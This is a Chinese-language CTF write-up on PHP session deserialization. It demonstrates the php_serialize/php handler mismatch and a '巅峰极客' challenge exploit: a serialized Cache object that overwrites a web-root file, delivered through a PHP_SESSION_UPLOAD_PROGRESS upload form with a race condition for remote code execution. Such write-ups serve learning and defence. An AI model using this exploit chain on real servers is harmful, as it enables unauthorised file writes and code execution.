一个例子引入
session.php
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
payload.php
<?php class XianZhi{ public $name; function __wakeup(){ echo "Who are you?"; } function __destruct(){ echo '<br>'.$this->name; } } $str = new XianZhi(); $str->name = "xianzhi"; echo serialize($str); ?>
class.php
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class XianZhi{ public $name = 'panda'; function __wakeup(){ echo "Who are you?"; } function __destruct(){ echo '<br>'.$this->name; } } $str = new XianZhi(); ?>
payload.php中获取序列化的payload,然后再访问
session.php
文件传入|
+序列化
格式的值,然后再次访问class.php
文件的时候 会发现页面会多了个”xianzhi”这说明我们传入的值被反序列化了。
巅峰极客
我们看巅峰极客这道题,可以很明显这里使用了一个
file_put_contents
将内容写到了一个指定地址的地方,那么我们该如何利用呢,那么这里就可以使用session反序列化将我们传入的序列化内容,从而控制Cache类,将类属性改成我们想要的内容,从而达到RCE的效果。问题又来了那么怎么才能控制SESSION呢,这里可以用到PHP BUG #71101
,也就是常用的SESSION文件包含(上传进度文件)RCE的漏洞,将SESSION传入并导致反序列化。<?php class Cache{ public $data; public $sj; public $path; public $html; function __construct($data){ $this->data['name']=isset($data['post']['name'])?$data['post']['name']:''; $this->data['message']=isset($data['post']['message'])?$data['post']['message']:''; $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg'; $this->path=Cache_DIR.DS.session_id().'.php'; } function __destruct(){ $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript> </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div> <div class="content"><div class="inner"> <h1>Hero of you</h1></div> </div> <nav><ul> <li><a href="#you">YOU</a></li></ul> </nav></header><div id="main"><article id="you"> <h2 class="major" ng-app>%s</h2> <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script> </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg'); if(file_put_contents($this->path,$this->html)){ include($this->path); } } }
payload
<?php class Cache{ public $data ; public $sj; public $path = '/Library/WebServer/Documents/ctf/index.php'; public $html; } $str = new Cache(); $str->data= [ "name" => "payload", "message" => "panda", "image" => "panda" ]; echo serialize($str); ?>
EXP
最后使用SESSION上传进度,将其包含进SESSION,这里使用条件竞争。
<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="这里填payload" /> <input type="file" name="file" /> <input type="submit" /> </form>